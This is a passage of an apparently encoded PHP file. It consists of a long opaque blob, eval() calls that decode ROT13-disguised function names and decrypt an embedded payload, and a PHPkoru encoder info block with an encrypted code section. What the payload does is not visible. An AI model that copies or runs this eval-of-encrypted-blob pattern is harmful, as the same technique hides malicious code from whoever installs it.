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')));
eval($‎bcraffy_qrpelcg‎‎($‎onfr64_qrpbqr‎‎‎‎('aGFmcmcoJHJ1bl9jb2RlLCAkUEhQa29ydV9tKTs=')));
eval(base64_decode('dW5zZXQoJOKAjmJjcmFmZnlfcXJwZWxjZ+KAjuKAjiwgJOKAjm9uZnI2NF9xcnBicXLigI7igI7igI7igI4sICTigI5mZ2VfZWJnMTPigI7igI7igI7igI7igI4sICTigI5laGFfcGJxcuKAjuKAjuKAjuKAjuKAjuKAjuKAjik7'));
unset($__FILE__, $__DIR__);
__halt_compiler();
?>
[PHPkoru_Info]
Version: 1.0.7
Website: https://phpkoru.com/
Online Encoder: https://phpkoru.com/basic/
Developer Website: https://aponkral.dev/
[/PHPkoru_Info]

[PHPkoru_Code]
RHJDSm4wT213ekVzcDZSQVNpU09rcFc1QkdZOGo2OFBEWHpZUk85Tktpb0tLTkNvdUhITm1icXZkeFQxWktFN2swQlF0YVFzQlZMZWhvbC9pZm5hNlVLWnRXMkloNWZaMmdRUkt1ZGhhSjdLR21nYTdtVE5yVHNqeTgzRUdlVnJGeUFWbWJ2VHBaSTRFZHFGaCtneXA5M3loWWNqZ3czaDl5VVF1TFJQc2N3UkJnQjdkT2J1VGxhcUlBTUdyRUVOL09ZQmNjWDRNcFpwWUwrckJlSnA2M0xvV0dyT2IyQ1Azc3dBbDJCdllVYTNvMWhaaFdqcEQ5RWkrVHhKNVZEdlVXcllDRUIyMXBndWNqSzRseFhKUnFrMDVTRXVoQmZNVWFFMWtmN2l2RGZzYTR5eTBOK2xZM1IyVWx0aDlXZGpSaFlmUGZ2VWRYMUtPRnRxWk43Ni90VEJ1ODNtM1hiMkIzV21DcVhscVBMeDhKblZzWkttRlh5MmYwdytreVBzREFla2tBZ3JaR3Qxd2xqTk9IQ3lPT1htekxxL1cwWnFaYWNESDJIT0tob2RuWGtTNXR1Q1FoTE85a0VDaUE1YlQ1ZFhCVkdhakVHVVdkUFZsN2lEZ2FQbXN5TEhxaHZYOVNPeVRvK1FLOG41OS9jRzEyWHMvdm1pNnhrTnNZdm8xdW0zdFZIcnY3Z0lnRE5XMGgyWE5CT0I2ZEpzSTdrUm5hWTdvbG8rVGxYUkJYYXA1bHg3R3BtTFp1RHpoYmIrWW12cWUwMDFYam9RQXpGOW9QMXY3cFNHS1E0MHFSbHU4SHBvTXY2MkdUZC9jWDRSTVpONTdQNmhqL2ZKbzAzYzFWQURjWWFiZVlDVGxXSThCVnFIRzAyM1RoNmhUalhYdHh3YjRFUElZVURjNm95VmJrc3JXdnNYaVFwMjNpTE5ZMUgrZ2d1enFTcnJNaDZGN1lGTTFHTFo2WXNYWFdxUjF3Y1ZxcXQwbWFoNmxESG5PdkNqUzRwaHNkSFZFVDJ6eXdMZjFMcWlaeXFCakFoWEw5STNqdjAvd2tNUnBJb3RLWkF2VXB4K21DTzd2Nks1WjFSUXdKVE4rMWd4VGNUeE5Qd1VhTWZtRTZKRk1MNjBHUTZnSkxrajlkaHFOTVp6YkFqeDMxemRaZEJyNlE3aXJVOGYwdUc3cE11eG53clBZSkY0YWxYb2lUYU45NEtiM1lNb2lyMExPNVZXRkc5WWZrbENhOHRNSGU5eFNnV2tWeTJlbkhOcm1vNVRhckIybUdXaHNpOWN6cDNMYlpIVlVSVDUrUjZVSHlIanNmNjlBUFkvaCsxQlVJSmxjS3RKVnVZcWs0WUc3WlV6OG1qbDczTlFlN2NyQU80cittUXd5ZU0wNkhiZWd2N1YzTFpacnpDSnZsZCt2b1YyTFlPQ2dLbzRuWTFHSDFoa2xmVUV6d0tpazZDbW1sWWlhTlh1VjRNQ1cxNDBHaWZjNTdObEw4UVkzRm5uc3UrMmNQc01TMXNNeENtdG1mK0hhK0xpb0I3ZklMVVdPWkptL2JzTDJVaHRScEE3a29SV09rNSt6bXJTK1YwRTQyaVdoRTN5bUMwVE40M3VYQkNTdlhXcWNlemt0UG1PYzhGOWFMN205TDlvZU9LSDlOK3NkcW5vbjNVMVcxRHBpVjlDNXRCcVZuNy91d01aNVptTkxNUkV4UHl3a0o0WHdFT2wvaGFPMituc2JiZVVpSEJiUjhhU1UzSWJXdHhwelhmTFI3by9Fc2JpQytLUFY0VithdUxjOWZXN3hQbUEyOUhMTi9YRnFVMFo1RlVUQUtVVXY0T0Jpd3lVN09tZmtkbktha2trUHdMbTVGT2JaeWZQSVdKdDlHblBXMktnR2VDOTQ0M3pNVy9teldHczVWU3NLK2JPOXcwZGN6TE1nNnVkM2NuaTBPLzJnaUZjRFNFU3dtR3RUMG5CUzNuNGo0Lzl2dGZndXRaSFI4QlVSOHZmeUhaR0VqV1hRSm44WnBaOVYzUXJrU3p5Z3BGNGJ0d3d2YlI5MkJuTXBpQmdGTmg2eEUxb2VNajZ1UEcrN1lHdU1NTitaSVh3OGxmcldFWWgvd1QyNS93RnZoQ3QrbUkxejVaSnFKYjBHVUJmZURFdGFTM3Rvajg1L0c2OS9sQ3lZWFpaK3B1NDBVeGRhR1NrNGFWSlNsOEZZZUk3WFJxbzFTKzVLcGQwakdnWWJHQWdRRDBCOVc1VFNOM1lmMkh1aTN3bVlMS283UjVwejJ3bmVsTnRwRlpGVW1MOC82cTExdWp6cXU1UGxRclpqVTZCN1JMYXczK1Z3NUx3WFpmOVdhRy9kVVdLc1RJOGhPUW9rUXhnOTB6d3JiY3ZOWWZJRCtGUWVYOEU3WXE1S3dSMkhHc1Zac0FiK0EvMElLRzVXR2JueGwyU2VrUHJRQlZxSzdJaXFzR0RubW1EM0Zya21vdVRSZStHaHhudi8rcEU0K0dKemUxOEdNc3ZKS2JEelg0cXkyQSt0ZUZOcEg3UnR3Q0JjSkdvRzZtWmNzQXpQQXRCcjQ1YWxyZzNqai8vWUNRNlY1elMwN1lxSDdOQ2tEYlloeFJreU9Zaytvd2ExaVNCWGROdUFuckRTeVlwNTJ1OU9naW16WU02Q2g1dlBjcXJOL0ZaeXZ0YUNnRGxJSjk2Zi9lSTBRL1lmc1g4N293RmVXeFo4Q2x4QTlEYnlSdThDVWZhNXVMOE1NVU80VXhCR3lTaFRhdG1CZmhDNEZrVUQvbkxzV0lOVFhzK2psMXEyNEkvdmJpQlhXRExtTk4xcHN2ZEZ3Z01nN29xa1AxYWx5cDFtYXF4bXdQZllVL2pYN1V4bWxJVjdJeTBCMFRwWmVEbmxmNXRRaUpURGtIQjdUL0xmRC9pOTZDcGZYT2RLMVNCTHZjL0F2TCsxeTNrZVF2N3ZGWXMxYnJSRUhCM21SZTU3dHJROXRQVTZsUlEwNXdVcmZ5LzM2cktnWmcxclR5aGppSloweWJYNnd6em4raS9yTkFab0F4MjVOTXY3VzA2UURCZXprZUF5cXBDUS9GVDBFVWxSYVVwWm5wQkdrV3U1RzM5alc1dWswNlhkdDB6Q0VUcTZGM21sdFBrSWNNZndSbkJEOThFSThMOGR4YTBSd1BTZDROcmY0VnN0WmpuTk5JYk9YY1ZGT0xVMFd3VTNSSEtKL0xTalVmVytwNU8vUnlJWnFUYTQvN1FkU0N0bEVyNVd4RHVSdlZiQVJpNWNLM1